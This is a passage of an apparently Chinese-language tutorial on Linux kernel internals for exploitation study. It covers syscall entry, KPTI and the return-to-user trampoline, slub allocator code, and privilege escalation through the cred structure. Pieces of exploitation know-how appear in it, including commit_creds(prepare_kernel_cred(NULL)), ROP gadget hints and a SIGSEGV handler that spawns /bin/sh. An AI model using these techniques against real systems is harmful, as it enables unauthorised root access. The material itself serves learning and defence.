基础知识

内核概述

内核架构

通常来说我们可以把内核架构分为两种:宏内核和微内核,现在还有一种内核是混合了宏内核与微内核的特性,称为混合内核。
在这里插入图片描述

  • 宏内核(Monolithic kernel),也译为集成式内核、单体式内核,一种操作系统内核架构,此架构的特性是整个内核程序是一个单一二进制可执行文件,在内核态以监管者模式(Supervisor Mode)来运行。相对于其他类型的操作系统架构,如微内核架构或混合内核架构等,这些内核会定义出一个高端的虚拟接口,由该接口来涵盖描述整个电脑硬件,这些描述会集合成一组硬件描述用词,有时还会附加一些系统调用,如此可以用一个或多个模块来实现各种操作系统服务,如进程管理、并发(Concurrency)控制、存储器管理等。
  • .微内核(Micro Kernel),对于微内核而言,大部分的系统服务(如文件管理等)都被剥离于内核之外,内核仅仅提供最为基本的一些功能:底层的寻址空间管理、线程管理、进程间通信等。

linux 内核

kernel 最主要的功能有两点:

  • 控制并与硬件进行交互
  • 提供 application 能运行的环境

Linux 内核包含的内容:

  • 系统调用接口SCI层提供了某些机制执行从用户空间到内核的函数调用。这个接口依赖于体系结构。
  • 进程管理:进程的执行。在内核中,这些进程称为线程,代表了单独的处理器虚拟化(线程代码、数据、堆栈、CPU寄存器)。用户空间使用进程这个术语,但是Linux实现并没有区分这两个的概念(进程和线程),内核通过SCI提供了一个应用程序编程接口API,来创建一个新进程,停止进程,并在他们之间进行通信和同步。进程管理还包括处理获得进程之间共享CPU的需求。内核实现了一种新型的调度算法,不管有多少个线程在竞争CPU,这种算法都可以在固定时间内进行操作。调度程序也可以支持处理器(称为对称多处理器或SMP);
  • 内存管理:如果由硬件管理虚拟内存,内存是按照所谓的内存页方式进行管理的(4KB),Linux包括了管理可用内存的方式,以及物理和虚拟映射所使用的硬件机制。但是内存管理要管理的可不止4KB缓冲区。Linux提供了对4KB缓冲区的抽象,例如slab分配器。这种内存管理模式使用的是4KB缓冲区为基数,然后从中分配结构,并跟踪内存页使用情况,比如哪些内存是满的,哪些页面没有完全使用,哪些页面为空。由于这个原因,页面可以移除内存并放入磁盘中。这个过程叫交换,因为页面会被从内存交换到硬盘上。Linux系统中,被用于交换的分区叫swap分区,在windows下叫做虚拟内存。
  • 文件系统:虚拟文件系统(VFS)是Linux内核中非常有用的一个方面,因为它为文件系统提供了一个通用的接口抽象。VFSSCI和内核所支持的文件系统做了一个交换层。在VFS上面,是对oepn,close之类的函数的一个通用API抽象。在VFS下面是文件系统抽象,它定义了上层函数的实现方式。
  • 网络管理:网络堆栈在设计上遵循模拟协议本身的分层体系结构
  • 设备驱动:Linux内核中有大量代码都在设备驱动程序中,它们能够运转特定的硬件设备。Linux源码提供了一个驱动程序子目录,这个目录又进一步划分为各种支持设备,例如Bluetooth,I2C,serial等。

不同于Windows NT内核和Mach(Mac OS X 的组成部分)的微内核结构,linux内核采用的是单内核结构,效率高,但是体积大。

内核态函数调用

  • printf 变更为 printk() ,但需要注意的是 printk() 不一定会把内容显示在终端上,当一定是在内核缓冲区里,可以通过 dmesg 查看效果。
  • memcpy 变更为 copy_from_user()/copy_to_user()
    • copy_from_user() 将用户空间的数据传送到内核空间
    • copy_to_user() 实现将内核空间的数据传送到用户空间
    • 注意:copy_xxx_user() 成功返回 0,失败则返回没有拷贝成功的数据字节数
  • malloc() 变更为 kmalloc() ,内核态的内存分配函数,和 malloc 相似,但使用slab,slub 分配器,这个分配器通过一个多级的结构进行管理。
    • 首先有 cache 层,cache 是一个结构,也就是用来分配或者已经分配的一部分内核空间。kmalloc 使用多个 cache,一个 cache 对应一个 2 的幂的大小的一组内存对象。slab 分配器严格按照 cache 去区分,不同的 cache 无法分配在一页内,slub 分配器则较为宽松,不同的 cache 如果分配相同大小,可能会在一页内。
  • free 变更为 kfree() ,同 kmalloc()

Ring Model

基本概念

intel CPU 将 CPU 的特权级别分为 4 个级别:Ring 0, Ring 1, Ring 2, Ring 3

大多数的现代操作系统只使用了 Ring 0Ring 3
在这里插入图片描述

  • 内核空间运行在Ring 0特权等级,拥有自己的空间,位于内存的高地址。
  • 用户空间则是我们平时应用程序运行的空间,运行在Ring 3特权等级,使用较低地址。

中断

中断即硬件/软件向 CPU 发送的特殊信号,CPU 接收到中断后会停下当前工作转而执行中断处理程序,完成后恢复原工作流程

中断向量表(interrupt vector table)类似一个虚表,该表通常位于物理地址 0~1k处,其中存放着不同中断号对应的中断处理程序的地址

自保护模式起引入中断描述符表(Interrupt Descriptor Table)用以存放 「门描述符」(gate descriptor),中断描述符表地址存放在 IDTR 寄存器中,CPU 通过中断描述符表访问对应门

「门」(gate)可以理解为中断的前置检查物件,当中断发生时会先通过这些「门」,主要有如下三种门:

  • 中断门(Interrupt gate):用以进行中断处理,其类型码为 110;中断门的 DPL(Descriptor Priviledge Level)为 0,故只能在内核态下访问,即中断处理程序应当由内核激活;进入中断门会清除 IF 标志位以关闭中断,防止中断嵌套的发生
  • 陷阱门(Trap gate):类型码为 111,类似于中断门,主要用以处理 CPU 异常,但不会清除 IF 标志位。
  • 系统门System gate):Linux 特有门,类型码为 3、4、5、128;其 DPL 为 3,用以供用户进程访问,主要用以进行系统调用(int 0x80)。

用户态->内核态

当发生系统调用,产生异常,外设产生中断等事件时,会发生用户态到内核态的切换,具体的过程为:

  • 通过 swapgs 切换 GS 段寄存器,将 GS 寄存器值和一个特定位置的值进行交换,目的是为了保存 GS 值,同时将该位置的值作为内核执行时的 GS 值使用。
    • GS 寄存器的作用是访问 CPU 特定的内存。
  • 将当前栈顶(用户空间栈顶)记录在 CPU 独占变量区域里,将 CPU 独占区域里记录的内核栈顶放入 RSP/ESP
  • 通过 push 保存各寄存器值,具体代码如下:
    ENTRY(entry_SYSCALL_64)
    /* SWAPGS_UNSAFE_STACK是一个宏,x86直接定义为swapgs指令 */
    SWAPGS_UNSAFE_STACK
    
    /* 保存栈值,并设置内核栈 */
    movq %rsp, PER_CPU_VAR(rsp_scratch)
    movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp
    
    /* 通过push保存寄存器值,形成一个pt_regs结构 */
    /* Construct struct pt_regs on stack */
    pushq  $__USER_DS                /* pt_regs->ss */
    pushq  PER_CPU_VAR(rsp_scratch)  /* pt_regs->sp */
    pushq  %r11                      /* pt_regs->flags */
    pushq  $__USER_CS                /* pt_regs->cs */
    pushq  %rcx                      /* pt_regs->ip */
    pushq  %rax                      /* pt_regs->orig_ax */
    pushq  %rdi                      /* pt_regs->di */
    pushq  %rsi                      /* pt_regs->si */
    pushq  %rdx                      /* pt_regs->dx */
    pushq  %rcx tuichu               /* pt_regs->cx */
    pushq  $-ENOSYS                  /* pt_regs->ax */
    pushq  %r8                       /* pt_regs->r8 */
    pushq  %r9                       /* pt_regs->r9 */
    pushq  %r10                      /* pt_regs->r10 */
    pushq  %r11                      /* pt_regs->r11 */
    sub $(6*8), %rsp                 /* pt_regs->bp, bx, r12-15 not saved */
    
  • 通过汇编指令判断是否为 x32_abi。(linux 32 位内核)
  • 通过系统调用号,跳到全局变量 sys_call_table 相应位置继续执行系统调用。

内核态->用户态

具体流程如下:

  • 通过 swapgs 恢复 GS
  • 通过 sysretq 或者 iretq 恢复到用户空间继续执行。如果使用 iretq 还需要给出用户空间的一些信息(CS, eflags/rflags, esp/rsp 等),即 trap_frame
struct trap_frame {
    size_t user_rip;
    size_t user_cs;
    size_t user_rflags;
    size_t user_sp;
    size_t user_ss;
} __attribute__((packed));

对于开启了 KPTI(内核页表隔离),我们不能像之前那样直接 swapgs; iret 返回用户态,而是在返回用户态之前还需要将用户进程的页表给切换回来

众所周知 Linux 采用四级页表结构(PGD->PUD->PMD->PTE),而 CR3 控制寄存器用以存储当前的 PGD 的地址,因此在开启 KPTI 的情况下用户态与内核态之间的切换便涉及到 CR3 的切换,为了提高切换的速度,内核将内核空间的 PGD 与用户空间的 PGD 两张页全局目录表放在一段连续的内存中(两张表,一张一页4k,总计8k,内核空间的在低地址,用户空间的在高地址),这样只需要将 CR3 的第 13 位取反便能完成页表切换的操作
在这里插入图片描述
需要进行说明的是,在这两张页表上都有着对用户内存空间的完整映射,但在用户页表中只映射了少量的内核代码(例如系统调用入口点、中断处理等),而只有在内核页表中才有着对内核内存空间的完整映射,如下图所示,左侧是未开启 KPTI 后的页表布局,右侧是开启了 KPTI 后的页表布局
在这里插入图片描述
KPTI 同时还令内核页表中用户地址空间部分对应的页顶级表项不再拥有执行权限(NX),这使得 ret2usr 彻底成为过去式

除了在系统调用入口中将用户态页表切换到内核态页表的代码外,内核也相应地在 arch/x86/entry/entry_64.S 中提供了一个用于完成内核态页表切换回到用户态页表的函数 swapgs_restore_regs_and_return_to_usermode,地址可以在 /proc/kallsyms 中获得。

swapgs_restore_regs_and_return_to_usermode 定义如下:

   0xffffffff81c00fb0 <swapgs_restore_regs_and_return_to_usermode>:	nop    DWORD PTR [rax+rax*1+0x0]
   0xffffffff81c00fb5 <swapgs_restore_regs_and_return_to_usermode+5>:	pop    r15
   0xffffffff81c00fb7 <swapgs_restore_regs_and_return_to_usermode+7>:	pop    r14
   0xffffffff81c00fb9 <swapgs_restore_regs_and_return_to_usermode+9>:	pop    r13
   0xffffffff81c00fbb <swapgs_restore_regs_and_return_to_usermode+11>:	pop    r12
   0xffffffff81c00fbd <swapgs_restore_regs_and_return_to_usermode+13>:	pop    rbp
   0xffffffff81c00fbe <swapgs_restore_regs_and_return_to_usermode+14>:	pop    rbx
   0xffffffff81c00fbf <swapgs_restore_regs_and_return_to_usermode+15>:	pop    r11
   0xffffffff81c00fc1 <swapgs_restore_regs_and_return_to_usermode+17>:	pop    r10
   0xffffffff81c00fc3 <swapgs_restore_regs_and_return_to_usermode+19>:	pop    r9
   0xffffffff81c00fc5 <swapgs_restore_regs_and_return_to_usermode+21>:	pop    r8
   0xffffffff81c00fc7 <swapgs_restore_regs_and_return_to_usermode+23>:	pop    rax
   0xffffffff81c00fc8 <swapgs_restore_regs_and_return_to_usermode+24>:	pop    rcx
   0xffffffff81c00fc9 <swapgs_restore_regs_and_return_to_usermode+25>:	pop    rdx
   0xffffffff81c00fca <swapgs_restore_regs_and_return_to_usermode+26>:	pop    rsi
   0xffffffff81c00fcb <swapgs_restore_regs_and_return_to_usermode+27>:	mov    rdi,rsp
   0xffffffff81c00fce <swapgs_restore_regs_and_return_to_usermode+30>:	mov    rsp,QWORD PTR gs:0x6004
   0xffffffff81c00fd7 <swapgs_restore_regs_and_return_to_usermode+39>:	push   QWORD PTR [rdi+0x30]
   0xffffffff81c00fda <swapgs_restore_regs_and_return_to_usermode+42>:	push   QWORD PTR [rdi+0x28]
   0xffffffff81c00fdd <swapgs_restore_regs_and_return_to_usermode+45>:	push   QWORD PTR [rdi+0x20]
   0xffffffff81c00fe0 <swapgs_restore_regs_and_return_to_usermode+48>:	push   QWORD PTR [rdi+0x18]
   0xffffffff81c00fe3 <swapgs_restore_regs_and_return_to_usermode+51>:	push   QWORD PTR [rdi+0x10]
   0xffffffff81c00fe6 <swapgs_restore_regs_and_return_to_usermode+54>:	push   QWORD PTR [rdi]
   0xffffffff81c00fe8 <swapgs_restore_regs_and_return_to_usermode+56>:	push   rax
   0xffffffff81c00fe9 <swapgs_restore_regs_and_return_to_usermode+57>:	xchg   ax,ax
   0xffffffff81c00feb <swapgs_restore_regs_and_return_to_usermode+59>:	mov    rdi,cr3
   0xffffffff81c00fee <swapgs_restore_regs_and_return_to_usermode+62>:	jmp    0xffffffff81c01024 
   
   0xffffffff81c01024 <swapgs_restore_regs_and_return_to_usermode+116>:	or     rdi,0x1000
   0xffffffff81c0102b <swapgs_restore_regs_and_return_to_usermode+123>:	mov    cr3,rdi
   0xffffffff81c0102e <swapgs_restore_regs_and_return_to_usermode+126>:	pop    rax
   0xffffffff81c0102f <swapgs_restore_regs_and_return_to_usermode+127>:	pop    rdi
   0xffffffff81c01030 <swapgs_restore_regs_and_return_to_usermode+128>:	swapgs 
   0xffffffff81c01033 <swapgs_restore_regs_and_return_to_usermode+131>:	jmp    0xffffffff81c01060 <native_iret>

   0xffffffff81c01060 <native_iret>:	test   BYTE PTR [rsp+0x20],0x4
   0xffffffff81c01065 <native_iret+5>:	jne    0xffffffff81c01069 <native_irq_return_ldt>
   0xffffffff81c01067 <native_irq_return_iret>:	iretq 

大概操作如下:

mov  rdi, cr3
or rdi, 0x1000
mov  cr3, rdi
pop rax
pop rdi
swapgs
iretq

前面对寄存器赋值的操作与 pt_regs 结构体对应

struct pt_regs {
/*
 * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
 * unless syscall needs a complete, fully filled "struct pt_regs".
 */
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
/*
 * On syscall entry, this is syscall#. On CPU exception, this is error code.
 * On hw interrupt, it's IRQ number:
 */
    unsigned long orig_rax;
/* Return frame for iretq */
    unsigned long rip;
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;
    unsigned long ss;
/* top of stack page */
};

在这里插入图片描述
另外如果找不到 swapgs_restore_regs_and_return_to_usermode 函数可以把 get_shell 函数注册为 SIGSEGV 信号处理函数,然后再用 swapgs + iretq 的方式返回。当出现异常时会跳转到 get_shell 函数继续执行,这样就完成了用户态的返回。

signal(SIGSEGV, (void (*)(int)) get_shell);

上面这段代码本质就是在程序的段错误信号注册了一个 get_shell 回调函数。开启 KPIT 后 swapgs + iretq 的方式返回位切换页表,执行用户空间代码触发段错误回调 get_shell 函数。而回调 get_shell 函数前也会有系统态到用户态的切换,此时完成了页表和栈的正确切换(栈 0x10 对齐),确保执行 get_shell 函数不会出问题。

#include <stdlib.h>
#include <signal.h>

void get_shell() {
    system("/bin/sh");
}

int main() {
    signal(SIGSEGV, (void (*)(int)) get_shell);
    *(size_t *) 0x114514 = 0x1919810;
    return 0;
}

关于 syscall

系统调用,指的是用户空间的程序向操作系统内核请求需要更高权限的服务,比如 IO 操作或者进程间通信。系统调用提供用户程序与操作系统间的接口,部分库函数(如 scanf,puts 等 IO 相关的函数实际上是对系统调用的封装 (read 和 write))。
Int $0x80 指令的目的是产生一个编号为128的编程异常,这个编程异常对应的是中断描述符表 IDT 中的第 128 项——也就是对应的系统门描述符。门描述符中含有一个预设的内核空间地址,它指向系统调用处理程程序:system_call()

进程权限管理

在这里插入图片描述
注意到 task_struct 的源码中有如下代码:

/* Process credentials: */

/* Tracer's credentials at attach: */
const struct cred __rcu		*ptracer_cred;

/* Objective and real subjective task credentials (COW): */
const struct cred __rcu		*real_cred;

/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu		*cred;

Process credentials 是 kernel 用以判断一个进程权限的凭证,在 kernel 中使用 cred 结构体进行标识,对于一个进程而言应当有三个 cred

  • ptracer_cred 使用 ptrace 系统调用跟踪该进程的上级进程的 cred( gdb 调试便是使用了这个系统调用,常见的反调试机制的原理便是提前占用了这个位置)。
  • real_cred客体凭证objective cred),通常是一个进程最初启动时所具有的权限。
  • cred主体凭证subjective cred),该进程的有效 cred ,kernel 以此作为进程权限的凭证。

进程权限凭证: cred 结构体

对于一个进程,在内核当中使用一个结构体 cred 管理其权限,该结构体定义于内核源码 include/linux/cred.h 中,如下:

struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
	unsigned	securebits;	/* SUID-less security management */
	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
	kernel_cap_t	cap_permitted;	/* caps we're permitted */
	kernel_cap_t	cap_effective;	/* caps we can actually use */
	kernel_cap_t	cap_bset;	/* capability bounding set */
	kernel_cap_t	cap_ambient;	/* Ambient capability set */
#ifdef CONFIG_KEYS
	unsigned char	jit_keyring;	/* default keyring to attach requested
					 * keys to */
	struct key	*session_keyring; /* keyring inherited over fork */
	struct key	*process_keyring; /* keyring private to this process */
	struct key	*thread_keyring; /* keyring private to this thread */
	struct key	*request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
	void		*security;	/* subjective LSM security */
#endif
	struct user_struct *user;	/* real user ID subscription */
	struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
	struct group_info *group_info;	/* supplementary groups for euid/fsgid */
	/* RCU deletion */
	union {
		int non_rcu;			/* Can we skip RCU deletion? */
		struct rcu_head	rcu;		/* RCU deletion hook */
	};
} __randomize_layout;

我们主要关注 cred 结构体中管理权限的变量

用户 ID 和组 ID

一个 cred 结构体中记载了一个进程四种不同的用户 ID

  • 用户真实 ID(real UID):标识一个进程启动时的用户 ID
  • 保存用户 ID(saved UID):标识一个进程最初的有效用户 ID
  • 有效用户 ID(effective UID):标识一个进程正在运行时所属的用户 ID
  • 文件系统用户 ID(UID for VFS ops):标识一个进程创建文件时进行标识的用户 ID

通常情况下这四个值都是相同的。

用户组 ID 同样分为四个:真实组、保存组、有效组、文件系统组与上面类似。

提权

通过前面我们可以知道,只要我们改变一个进程的 cred 结构体,就能改变其执行权限。

内核空间下面有两个函数,都位于 kernel/cred.c 中:

  • struct cred* prepare_kernel_cred(struct task_struct* daemon):该函数用以拷贝一个进程的 cred 结构体,并返回一个新的 cred 结构体,需要注意的是 daemon 参数应为有效的进程描述符地址或者 NULL 。
  • int commit_creds(struct cred *new):该函数用以将一个新的cred结构体应用到进程。

查看prepare_kernel_cred()函数源码,观察到如下逻辑:

struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
	const struct cred *old;
	struct cred *new;

	new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
	if (!new)
		return NULL;

	kdebug("prepare_kernel_cred() alloc %p", new);

	if (daemon)
		old = get_task_cred(daemon);
	else
		old = get_cred(&init_cred);
...

prepare_kernel_cred() 函数中,若传入的参数为 NULL ,则会缺省使用 init 进程的 cred 作为模板进行拷贝,即可以直接获得一个标识着 root 权限的 cred 结构体。那么我们不难想到,只要我们能够在内核空间执行 commit_creds(prepare_kernel_cred(NULL)) ,那么就能够将进程的权限提升到 root。

如果进行 ROP 提权有一个难点就是寻找将 rax 赋值给 rdi 的 gadget 。可以尝试搜索 xchg rax, rdipush rax; pop rdimov rdi, rax 等 gadget 。

另外 init_cred 是在内核当中有一个特殊的 cred ,它是 init 进程的 cred ,因此其权限为 root ,且该 cred 并非是动态分配的,因此当我们泄露出内核基址之后我们也便能够获得 init_cred 的地址,那么我们就只需要执行一次 commit_creds(&init_cred) 便能完成提权,不过有些内核中没有 init_cred(实际上多数情况是由于缺少符号找不到 init_cred,因此需要逆向分析 prepare_kernel_cred 函数来定位 init_cred)。
在这里插入图片描述

IO

UNIX/Linux 追求高层次抽象上的统一,其设计哲学之一便是万物皆文件。

万物皆文件

UNIX/Linux 设计的哲学之一 —— 万物皆文件,在 Linux 系统的视角下,无论是文件、设备、管道、还是目录,进程,甚至是磁盘,套接字等等,一切都可以被抽象成文件,一切都可以使用访问文件的方式进行操作:

通过这种哲学,Linux提供了操作的同一性:

  • 所有的读取操作都可以通过 read 进行
  • 所有的更改操作都可以通过 write 进行

进程文件系统

用以描述一个进程,其中包括一个该进程所打开的文件描述符、堆栈内存布局、环境变量等

进程文件系统本身是一个伪文件系统,通常被挂载到 /proc 目录下,并不真正占用存储,而是占用一定的内存

当一个进程被建立起来时,其进程文件系统便会挂载到 /proc/[PID] 下,我们可以在该目录下查看其相关信息。

文件描述符

进程通过文件描述符来完成对文件的访问,其在形式上是一个非负整数,本质上是对文件的索引值,进程所有执行 I/O 操作的系统调用都会通过文件描述符。

每个进程都独立有着一个文件描述符表,存放着该进程所打开的文件索引,每当进程成功打开一个现有文件/创建一个新文件时(通过系统调用 open 进行操作),内核会向进程返回一个文件描述符。

在 kernel 中有着一个文件表,由所有的进程共享。

每个 *NIX 进程都应当有着三个标准的 POSIX 文件描述符,对应着三个标准文件流:

  • stdin:标准输入 = 0
  • stdout:标准输出 = 1
  • stderr:标准错误 = 2

后面打开的文件描述符应当从标号 3 起始。

系统调用:ioctl

*NIX中一切都可以被视为文件,因为一切都可以访问文件的方式进行操作,Linux定义了系统调用ioctl供进程与设备之间进行通信

系统调用ioctl是一个用于设备输入输出操作的一个系统调用,调用方式如下:

int ioctl(int fd,unsigned long request, ...)
  • fd:设备的文件描述符
  • request:请求码
  • 其他参数

对于一个提供了ioctl通信方式的设备而言,我们可以通过其文件描述符、使用不同的请求码及其他请求参数通过ioctl系统调用完成不同的对设备的I/O操作

例如CD-ROM驱动程序弹出光驱的这一操作就对应着对“光驱设备”这一文件通过ioctl传递特定的请求码与请求参数完成

内存管理

具体分析见 linux 内核内存管理

物理内存

线性映射区是 linux 内核中的一个特殊的内存区域,这块内存映射是物理机上的所有物理内存。

ffff888000000000 | -119.5  TB | ffffc87fffffffff |   64 TB | direct mapping of all physical memory (page_offset_base)

vmemmap 是一个虚拟 page 数组,存放了 linux 所有物理页对应的 page
page 数组,线性映射区和物理内存三者是线性映射的关系。
在这里插入图片描述

buddy system

在这里插入图片描述
buddy system 中内存管理的一个例子:
在这里插入图片描述
这个例子中,分配的最小单位是64K,初始时的最大块order=4. 依次进行下面的操作

  • 初始状态
  • 分配块A 34K, order=0.
    • 没有order为0的块,切分order=4的块为2个order=3的块.
    • 仍然没有order=0的块,再切分order=3的块.
    • 仍然没有order=0的块,再切分order=2的块.
    • 仍然没有order=0的块,再切分order=1的块.
    • 将order=0的块返回.
  • 分配块B 66K, order=1. 已经有了,直接返回.
  • 分配块C 35K, order=0. 也已经有了,直接返回.
  • 分配块D 67K, order=1. 切分一个order=2的块,返回.
  • 块B释放.
  • 块D释放,因为与其后面的order=1的块是第5步分裂得来的,再将其合并为order=2的块.
  • 块A释放.
  • 块C释放,依次合并.

slub

img

关于 object

slab 以页为基本单位切割,然后用单向链表(fd指针)串起来,类似用户态堆的 fastbin,每一个小块我们叫它 object 。

注意:object 的 freelist 指针偏移是 kmem_cache.offset 而不是 0,虽然大多数情况 kmem_cache.offset 默认为 0 。

static inline void set_freepointer(struct kmem_cache *s, void *object, void *fp)
{
	unsigned long freeptr_addr = (unsigned long)object + s->offset;

#ifdef CONFIG_SLAB_FREELIST_HARDENED
	BUG_ON(object == fp); /* naive detection of double free or corruption */
#endif

	*(void **)freeptr_addr = freelist_ptr(s, fp, freeptr_addr);
}

object 结构如下图所示:
在这里插入图片描述

kmem_cache 创建

slub 分配器把伙伴系统提供的内存内存切割成特定大小的块,进行内核的小内存分配。

具体来说,内核会预先定义一些 kmem_cache 结构体,它保存着要如何分割使用内存页的信息,可以通过 cat /proc/slabinfo 查看系统当前可用的 kmem_cache

内核很多的结构体会频繁的申请和释放内存,用 kmem_cache 来管理特定的结构体所需要申请的内存效率上就会比较高,也比较节省内存。默认会创建 kmalloc-8kkmalloc-4k,… ,kmalloc-16kmalloc-8 这样的 cache ,kmem_cache 的名称以及大小使用 struct kmalloc_info_struct 管理。

const struct kmalloc_info_struct kmalloc_info[] __initconst = { 
    {NULL,                        0},     {"kmalloc-96",             96},
    {"kmalloc-192",           192},     {"kmalloc-8",               8},
    {"kmalloc-16",             16},     {"kmalloc-32",             32},
    {"kmalloc-64",             64},     {"kmalloc-128",           128},
    {"kmalloc-256",           256},     {"kmalloc-512",           512},
    {"kmalloc-1024",         1024},     {"kmalloc-2048",         2048},
    {"kmalloc-4096",         4096},     {"kmalloc-8192",         8192},
    {"kmalloc-16384",       16384},     {"kmalloc-32768",       32768},
    {"kmalloc-65536",       65536},     {"kmalloc-131072",     131072},
    {"kmalloc-262144",     262144},     {"kmalloc-524288",     524288},
    {"kmalloc-1048576",   1048576},     {"kmalloc-2097152",   2097152},
    {"kmalloc-4194304",   4194304},     {"kmalloc-8388608",   8388608},
    {"kmalloc-16777216", 16777216},     {"kmalloc-33554432", 33554432},
    {"kmalloc-67108864", 67108864}
};

这样内核调用 kmalloc 函数时就可以根据申请的内存大小找到对应的 kmalloc-xx ,然后在里面找可可用的内存块。

static __always_inline int kmalloc_index(size_t size)
{
    if (!size)
        return 0;
    if (size <= KMALLOC_MIN_SIZE)
        return KMALLOC_SHIFT_LOW;
    if (KMALLOC_MIN_SIZE <= 32 && size > 64 && size <= 96)
        return 1;
    if (KMALLOC_MIN_SIZE <= 64 && size > 128 && size <= 192)
        return 2;
    if (size <=          8) return 3;
    if (size <=         16) return 4;
    if (size <=         32) return 5;
    if (size <=         64) return 6;
    if (size <=        128) return 7;
    if (size <=        256) return 8;
    if (size <=        512) return 9;
    if (size <=       1024) return 10;
    if (size <=   2 * 1024) return 11;
    if (size <=   4 * 1024) return 12;
    if (size <=   8 * 1024) return 13;
    if (size <=  16 * 1024) return 14;
    if (size <=  32 * 1024) return 15;
    if (size <=  64 * 1024) return 16;
    if (size <= 128 * 1024) return 17;
    if (size <= 256 * 1024) return 18;
    if (size <= 512 * 1024) return 19;
    if (size <= 1024 * 1024) return 20;
    if (size <=  2 * 1024 * 1024) return 21;
    if (size <=  4 * 1024 * 1024) return 22;
    if (size <=  8 * 1024 * 1024) return 23;
    if (size <=  16 * 1024 * 1024) return 24;
    if (size <=  32 * 1024 * 1024) return 25;
    if (size <=  64 * 1024 * 1024) return 26;
    /* Will never be reached. Needed because the compiler may complain */
    return -1;
}  

创建默认的 kmem_cache 过程存在如下调用链:

x86_64_start_kernel()
    x86_64_start_reservations()
        start_kernel()
            mm_init()
                kmem_cache_init()
                    create_kmalloc_caches()
                        new_kmalloc_cache()

new_kmalloc_cache 中根据 kmalloc_info 的信息创建对应的 kmalloc_cache

static void __init
new_kmalloc_cache(int idx, int type, slab_flags_t flags)
{
	const char *name;

	if (type == KMALLOC_RECLAIM) {
		flags |= SLAB_RECLAIM_ACCOUNT;
		name = kmalloc_cache_name("kmalloc-rcl",
						kmalloc_info[idx].size);
		BUG_ON(!name);
	} else {
		name = kmalloc_info[idx].name;
	}

	kmalloc_caches[type][idx] = create_kmalloc_cache(name,
					kmalloc_info[idx].size, flags, 0,
					kmalloc_info[idx].size);
}

这里可以看到默认创建的 kmem_cache 的地址被保存在 kmalloc_caches 因此可以通过该结构获得 kmem_cache 的地址,从而获取到重要调试信息,比如 freelistobject 中的偏移 offset
在这里插入图片描述

create_kmalloc_cache 函数调用了核心函数 create_boot_cache ,之后 list_add 将创建的 kmem_cache 加入到 slab_caches 链表中。内核全局有一个 slab_caches 变量,它是一个链表,系统所有的 kmem_cache 都接在这个链表上。

struct kmem_cache *__init create_kmalloc_cache(const char *name,
		unsigned int size, slab_flags_t flags,
		unsigned int useroffset, unsigned int usersize)
{
	struct kmem_cache *s = kmem_cache_zalloc(kmem_cache, GFP_NOWAIT);

	if (!s)
		panic("Out of memory when creating slab %s\n", name);

	create_boot_cache(s, name, size, flags, useroffset, usersize);
	list_add(&s->list, &slab_caches);
	memcg_link_cache(s);
	s->refcount = 1;
	return s;
}

create_boot_cache 初始化了相关信息,之后调用 __kmem_cache_create

void __init create_boot_cache(struct kmem_cache *s, const char *name,
		unsigned int size, slab_flags_t flags,
		unsigned int useroffset, unsigned int usersize)
{
	int err;

	s->name = name;
	s->size = s->object_size = size;
	s->align = calculate_alignment(flags, ARCH_KMALLOC_MINALIGN, size);
	s->useroffset = useroffset;
	s->usersize = usersize;

	slab_init_memcg_params(s);

	err = __kmem_cache_create(s, flags);

	if (err)
		panic("Creation of kmalloc slab %s size=%u failed. Reason %d\n",
					name, size, err);

	s->refcount = -1;	/* Exempt from merging for now */
}

__kmem_cache_create 调用了 kmem_cache_open 函数,该函数做了很多重要的初始化操作。

/*
 * calculate_sizes() determines the order and the distribution of data within
 * a slab object.
 */
static int calculate_sizes(struct kmem_cache *s, int forced_order)
{
	slab_flags_t flags = s->flags;
	unsigned int size = s->object_size;
	unsigned int order;

	/*
	 * Round up object size to the next word boundary. We can only
	 * place the free pointer at word boundaries and this determines
	 * the possible location of the free pointer.
	 */
	size = ALIGN(size, sizeof(void *));

#ifdef CONFIG_SLUB_DEBUG
	/*
	 * Determine if we can poison the object itself. If the user of
	 * the slab may touch the object after free or before allocation
	 * then we should never poison the object itself.
	 */
	if ((flags & SLAB_POISON) && !(flags & SLAB_TYPESAFE_BY_RCU) &&
			!s->ctor)
		s->flags |= __OBJECT_POISON;
	else
		s->flags &= ~__OBJECT_POISON;


	/*
	 * If we are Redzoning then check if there is some space between the
	 * end of the object and the free pointer. If not then add an
	 * additional word to have some bytes to store Redzone information.
	 */
	if ((flags & SLAB_RED_ZONE) && size == s->object_size)
		size += sizeof(void *);
#endif

	/*
	 * With that we have determined the number of bytes in actual use
	 * by the object. This is the potential offset to the free pointer.
	 */
	s->inuse = size;

	if (((flags & (SLAB_TYPESAFE_BY_RCU | SLAB_POISON)) ||
		s->ctor)) {
		/*
		 * Relocate free pointer after the object if it is not
		 * permitted to overwrite the first word of the object on
		 * kmem_cache_free.
		 *
		 * This is the case if we do RCU, have a constructor or
		 * destructor or are poisoning the objects.
		 */
		s->offset = size;
		size += sizeof(void *);
	}

#ifdef CONFIG_SLUB_DEBUG
	if (flags & SLAB_STORE_USER)
		/*
		 * Need to store information about allocs and frees after
		 * the object.
		 */
		size += 2 * sizeof(struct track);
#endif

	kasan_cache_create(s, &size, &s->flags);
